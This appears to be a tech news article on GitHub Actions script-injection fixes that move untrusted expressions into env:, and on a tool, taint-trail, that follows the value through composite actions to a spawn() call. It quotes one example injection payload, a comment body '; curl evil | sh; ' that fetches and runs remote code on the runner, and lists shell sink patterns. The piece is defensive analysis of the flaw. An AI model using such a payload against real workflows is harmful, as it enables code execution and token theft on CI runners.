Build1 publisher3 min readPublished
Verifying one merged GitHub Actions env: fix took seven hops across four files
The canonical script-injection fix takes the untrusted expression out of run: and puts it in env:, and shape-matching scanners stop reading there. A new tool follows the value on into the composite action and the Node bundle that finally calls spawn().
The Engineer · Build desk

What happened
- Once the expression is assigned to env: and referenced as "$BODY", every scanner matching ${{ }} inside run: blocks stops reporting the line, and the change merges titled "fixed template injection".
- Verifying one such merged fix by hand, for a finding still in coordinated disclosure, took seven hops and ended at a spawn() call with shell: false where the value stayed a value.
- An eval "$HELPER_PROMPT" in the delegating shell script, or an execSync template in the Node wrapper, would have shipped under the same commit title with the same scanner silence.
- taint-trail keeps the classic run: check and prints each hop as a file and a line, resolving with: into a composite action when it is given a directory of action sources.
Compiled by The EngineerSomething wrong?How this is made
Why it matters
- constraint A clean injection report after the move certifies one file. Deciding whether the value ever reaches a shell still means reading the composite action, its scripts and its bundled JavaScript by hand.
- cost The cross-file check only works on sources you already have locally, so a repository pinning third-party actions by tag pays a vendoring or fetching step before the trail can leave the workflow.
- exposure Reviewers who approve on scanner silence are accepting whatever the downstream wrapper does with the value, and in the disclosure case the outcome turned on the last hop of seven.
- precedent The safe verdict is labelled heuristic and rests on one matched shape plus three absent patterns. That combination sets the bar for what a passing trail can honestly mean.
Two expansions are in play, and they happen at different times. The runner substitutes `${{ github.event.comment.body }}` into the script text before bash starts, so a comment body containing `; curl evil | sh; ` becomes shell source and runs on the runner with your token [1]. Assign the same expression to `env:` and bash does the substitution itself, at runtime, on a value, with the quotes holding [2].
zizmor's injection check works on the shape of the text: an untrusted expression inside a script is a finding [14]. That shape check is exactly right for the "before" of every fix. So the fix everyone applies is to get the expression out of the script [14]. "It does not follow the variable, because that was never its job," the author of the dev.to post wrote of that check [14].
In the passing trail taint-trail prints for its `moved_and_died` fixture, the value changes hands seven times across four files: the workflow, the composite action's `action.yml`, a shell script that only delegates, and a bundled `dist/index.js` [16][19]. Two of those hops are in the workflow file. The other five are in files a workflow scanner does not open [20]. The fixture is the real case with the names changed [21].
Following the value past `with:` is opt-in. The trail only continues when taint-trail is given `--actions-dir` pointing at action sources on disk [22]. For a repository that pins third-party actions by tag, those sources have to be fetched or vendored first. The post does not say whether the tool can resolve a reference it has not been handed.
The verdict on the safe path reads `DIES (heuristic): argv array via spawn( at ... /dist/index.js:7; no shell: true, no exec(, no execSync(` [17]. One positive shape plus three names confirmed absent. I read it as no known sink found on this path, which is what the word heuristic in the output is there to say. It is also a statement about the action's code as it stands at that commit; a later commit inside the action's repository can add an `eval` without touching the workflow that passed the scan.
The post's own recommendation is the other tool. "If you run one tool on your workflows, run zizmor," the author wrote, citing its checks for template injection, dangerous triggers, unpinned actions, cache poisoning and permissions [11][12]. "This is not a replacement for it" [13].
For the "before" case, taint-trail's output on the direct fixture names the line and the reason: line 11, `run`, with `SHELL: expression expanded into the shell script before it runs (the classic injection)` [23]. On the moved-but-not-fixed fixture it reports `env BODY` at line 12, then `run (eval "$BODY")` at line 15, then `SHELL: eval re-parses the value as shell` [15].
What to watch
- Whether taint-trail can resolve actions referenced by remote tag, or only vendored copies on disk; that decides whether it runs in a typical caller repository.
- The coordinated disclosure the author cites. It will name the project and show whether hop seven was safe by design or by accident.
- Any move by zizmor to add cross-file dataflow to its injection audit.